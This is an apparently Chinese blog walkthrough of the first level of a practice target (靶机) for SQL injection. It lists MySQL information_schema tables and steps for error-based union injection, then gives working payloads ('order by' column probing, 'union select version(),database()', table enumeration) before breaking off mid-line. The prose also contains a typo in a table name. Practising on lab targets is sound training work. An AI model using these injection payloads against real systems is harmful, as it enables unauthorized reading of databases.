数据安全靶机

本文探讨了数据安全的重要性,并详细介绍了靶机在安全防护中的角色。通过建立和使用靶机,可以模拟真实攻击场景,帮助测试和提升安全防御能力,确保关键数据不被非法获取。
摘要由CSDN通过智能技术生成
sql注入中Mysql常用的数据库:

information_schema.tables ; 记录了数据库中所有的表名
information_schema.columns; 记录了数据库中所有的列名
在有错误回显的注入过程中,注入过程大致如下:

利用‘id = 1 and 1=1 ’&&‘id =1 and 1=2’ 判断是否存在注入点。
利用order by 语句确认该表有多少个字段值。
利用union select 联合查询语句确认注入显示点,因为在mysql中联合查询要求字段数必须一致。
database()确认当前所在数据库和version()确认当前数据库版本。
union select table_name from information.schema_tables where table_schema = ‘获取到的数据库名字’,查询当前所在表名。
union select column_name from information.schema_columns where table_name = ‘获取到的表名’,查询该表所有字段名
union select ‘字段值’ from ‘表名称’,获取表内容。



第一关
1' order by 1#
1' order by 2#
1' order by 3# //报错,所以order by猜解得到的列数为2,判断字段数为2

判断回显点,有两个回显点
1' union select 1,2#

查询当前数据库版本,查询当前数据库名
1' union select version(),database()# 

查询当前数据库 表名
1' union select 1,table_name from information_schema.tables where table_schema=database()# 
1' union select 1,tab
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值